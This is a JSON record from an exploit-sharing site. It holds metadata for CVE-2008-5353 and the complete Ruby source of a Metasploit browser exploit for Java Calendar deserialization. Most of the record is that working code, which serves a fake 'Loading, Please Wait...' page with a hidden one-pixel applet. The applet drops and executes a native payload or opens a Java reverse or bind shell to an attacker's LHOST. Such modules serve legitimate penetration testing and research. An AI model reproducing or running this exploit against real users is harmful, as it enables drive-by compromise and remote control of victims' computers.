{"exploit":{"id":"MSF-multi--browser--java_calendar_deserialize","name":"Sun Java Calendar Deserialization Privilege Escalation","description":"This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM. The payload can be either a native payload which is generated as an executable and dropped/executed on the target or a shell from within the Java applet in the target browser. The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).","cves":["CVE-2008-5353"],"author":"sf, hdm","published":"2008-12-03","platform":"Java,Linux,OSX,Solaris,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/browser/java_calendar_deserialize.rb","path":"modules/exploits/multi/browser/java_calendar_deserialize.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"java_calendar_deserialize.rb","vulnerabilities":[{"id":"CVE-2008-5353","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Java Runtime Environment (JRE) for Sun JDK and JRE 6 Update 10 and earlier; JDK and JRE 5.0 Update 16 and earlier; and SDK and JRE 1.4.2_18 and earlier does not properly enforce context of ZoneInfo objects during deserialization, which allows remote attackers to run untrusted applets and applications in a privileged context, as demonstrated by \"deserializing Calendar objects\".","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5353","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5353"},"updatedAt":"2024-08-07T10:49:12.329Z","retrievedAt":"2026-11-26T16:41:42.592Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--browser--java_calendar_deserialize.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--browser--java_calendar_deserialize","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_calendar_deserialize/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_calendar_deserialize/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n  include Msf::Exploit::EXE\n\n  # Superceded by java_atomicreferencearray\n  # include Msf::Exploit::Remote::BrowserAutopwn\n  # autopwn_info({ :javascript => false })\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Sun Java Calendar Deserialization Privilege Escalation',\n        'Description' => %q{\n          This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.\n\n          The payload can be either a native payload which is generated as an executable and\n          dropped/executed on the target or a shell from within the Java applet in the target browser.\n\n          The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16\n          and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'sf', 'hdm' ],\n        'References' => [\n          [ 'CVE', '2008-5353' ],\n          [ 'OSVDB', '50500'],\n          [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],\n          [ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],\n          [ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ]\n        ],\n        'Platform' => %w(linux osx solaris win),\n        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },\n        'Targets' => [\n          [\n            'Generic (Java Payload)',\n            {\n              'Platform' => ['java'],\n              'Arch' => ARCH_JAVA\n            }\n          ],\n          [\n            'Windows x86 (Native Payload)',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_X86\n            }\n          ],\n          [\n            'Mac OS X PPC (Native Payload)',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_PPC\n            }\n          ],\n          [\n            'Mac OS X x86 (Native Payload)',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_X86\n            }\n          ],\n          [\n            'Linux x86 (Native Payload)',\n            {\n              'Platform' => 'linux',\n              'Arch' => ARCH_X86\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2008-12-03',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def exploit\n    # load the static jar file\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"CVE-2008-5353.jar\")\n    fd = File.open(path, \"rb\")\n    @jar_data = fd.read(fd.stat.size)\n    fd.close\n\n    super\n  end\n\n  def on_request_uri(cli, request)\n    data = nil\n    host = nil\n    port = nil\n\n    if !request.uri.match(/\\.jar$/i)\n      if !request.uri.match(/\\/$/)\n        send_redirect(cli, get_resource + '/', '')\n        return\n      end\n\n      print_status(\"#{name} handling request\")\n\n      payload = regenerate_payload(cli)\n      if !payload\n        print_error(\"Failed to generate the payload.\")\n        return\n      end\n\n      if target.name == 'Generic (Java Payload)'\n        if datastore['LHOST']\n          jar = payload.encoded\n          host = datastore['LHOST']\n          port = datastore['LPORT']\n          print_status(\"Payload will be a Java reverse shell\")\n        else\n          port = datastore['LPORT']\n          host = cli.peerhost\n          print_status(\"Payload will be a Java bind shell\")\n        end\n        if jar\n          print_status(\"Generated jar to drop (#{jar.length} bytes).\")\n          jar = Rex::Text.to_hex(jar, prefix = \"\")\n        else\n          print_error(\"Failed to generate the executable.\")\n          return\n        end\n      else\n\n        # NOTE: The EXE mixin automagically handles detection of arch/platform\n        data = generate_payload_exe\n\n        print_status(\"Generated executable to drop (#{data.length} bytes).\")\n        data = Rex::Text.to_hex(data, prefix = \"\")\n\n      end\n\n      send_response_html(cli, generate_html(data, jar, host, port), 'Content-Type' => 'text/html')\n      return\n    end\n\n    print_status(\"Sending Applet.jar\")\n    send_response(cli, generate_jar, 'Content-Type' => \"application/octet-stream\")\n\n    handler(cli)\n  end\n\n  def generate_html(data, jar, host, port)\n    html = \"<html><head><title>Loading, Please Wait...</title></head>\"\n    html += \"<body><center><p>Loading, Please Wait...</p></center>\"\n    html += \"<applet archive=\\\"Applet.jar\\\" code=\\\"msf.x.AppletX.class\\\" width=\\\"1\\\" height=\\\"1\\\">\"\n    html += \"<param name=\\\"data\\\" value=\\\"#{data}\\\"/>\" if data\n    html += \"<param name=\\\"jar\\\" value=\\\"#{jar}\\\"/>\" if jar\n    html += \"<param name=\\\"lhost\\\" value=\\\"#{host}\\\"/>\" if host\n    html += \"<param name=\\\"lport\\\" value=\\\"#{port}\\\"/>\" if port\n    html += \"</applet></body></html>\"\n    html\n  end\n\n  def generate_jar\n    @jar_data\n  end\nend\n","sha256":"f42a3d29669933bc87baa8950c9b2ff137e25f7d1a39b92e51d56fd2dcf6e210","bytes":5255,"fetchedAt":"2026-11-26T16:41:40.945Z","encoding":"utf-8 (display only; download retains original bytes)"}